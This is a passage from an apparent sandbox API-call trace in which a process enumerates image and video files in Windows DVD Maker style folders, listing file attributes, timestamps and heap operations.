ftLastAccessTime.dwLowDateTime=0x6fd80375, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.290] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fda64d2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fda64d2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.290] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd340bb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd340bb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d31329f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.290] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd0df5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd0df5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d31329f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.290] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd5a218, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd5a218, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.290] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc9bb47, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc9bb47, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6c8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="vintage.png", cAlternateFileName="")) returned 1 [0245.290] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc9bb47, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc9bb47, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6c8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="vintage.png", cAlternateFileName="")) returned 0 [0245.291] GetLastError () returned 0x12 [0245.291] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd660 [0245.291] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0245.291] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.291] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fcc1ca4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fcc1ca4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0245.291] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fce7e01, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fce7e01, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0245.291] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd0df5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd0df5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x183b, dwReserved0=0x0, dwReserved1=0x0, cFileName="decorative_rule.png", cAlternateFileName="")) returned 1 [0245.291] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdcc62f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdcc62f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.291] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd80375, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd80375, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.291] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fda64d2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fda64d2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.291] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd340bb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd340bb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d31329f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.291] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd0df5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd0df5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d31329f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.291] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd5a218, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd5a218, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.291] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc9bb47, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc9bb47, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6c8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="vintage.png", cAlternateFileName="")) returned 1 [0245.291] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc9bb47, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc9bb47, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6c8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="vintage.png", cAlternateFileName="")) returned 0 [0245.291] GetLastError () returned 0x12 [0245.291] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.291] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0245.292] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x929c80) returned 1 [0245.292] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.292] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Performance", cAlternateFileName="")) returned 1 [0245.292] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0245.298] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0245.298] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0245.298] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x9349d8 [0245.298] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9349d8, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9349d8, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0245.298] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9349d8) returned 1 [0245.298] NtClose (Handle=0x1c0) returned 0x0 [0245.298] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.298] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.298] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.298] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.298] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd660 [0245.307] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.307] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70562bb6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70562bb6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d35f55b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xeef, dwReserved0=0x0, dwReserved1=0x0, cFileName="720x480blacksquare.png", cAlternateFileName="")) returned 1 [0245.307] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.308] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.308] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.308] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.308] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.308] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x929c80 [0245.308] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.308] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91fde8 [0245.308] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x931020 [0245.308] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.308] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703015e6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x703015e6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d35f55b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1168, dwReserved0=0x0, dwReserved1=0x0, cFileName="NextMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0245.308] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.308] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.308] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.308] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.308] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.308] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91fe08 [0245.308] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x931128 [0245.308] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.308] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70327743, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70327743, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dbda349, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc04, dwReserved0=0x0, dwReserved1=0x0, cFileName="NextMenuButtonIconSubpictur.png", cAlternateFileName="")) returned 1 [0245.308] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.308] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.308] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.308] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.308] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.309] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91fe28 [0245.309] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x931230 [0245.309] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xcc0) returned 0x9349d8 [0245.309] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927508) returned 1 [0245.309] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.309] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70184844, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70184844, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dc26605, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa942c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_loop.wmv", cAlternateFileName="")) returned 1 [0245.309] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.309] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.309] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.309] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.309] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.309] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91fe48 [0245.309] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x931338 [0245.309] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.309] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7021cdb8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7021cdb8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dc728c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbebec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_loop_PAL.wmv", cAlternateFileName="")) returned 1 [0245.309] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.309] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.309] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.309] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.309] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.309] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91fe68 [0245.309] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x931440 [0245.309] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.309] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7015e6e7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7015e6e7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="ParentMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0245.310] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.310] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.310] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.310] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.310] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.310] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91fe88 [0245.310] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x931548 [0245.310] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.310] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7015e6e7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7015e6e7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbef, dwReserved0=0x0, dwReserved1=0x0, cFileName="ParentMenuButtonIconSubpict.png", cAlternateFileName="")) returned 1 [0245.310] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.310] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.310] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.310] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.310] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.310] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91fea8 [0245.310] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x931650 [0245.310] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.310] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70053d5c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70053d5c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x629b, dwReserved0=0x0, dwReserved1=0x0, cFileName="performance.png", cAlternateFileName="")) returned 1 [0245.310] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.310] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.310] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.310] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.310] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.310] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91fec8 [0245.311] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x931758 [0245.311] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.311] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700a0016, ftCreationTime.dwHighDateTime=0x1ca03fb, 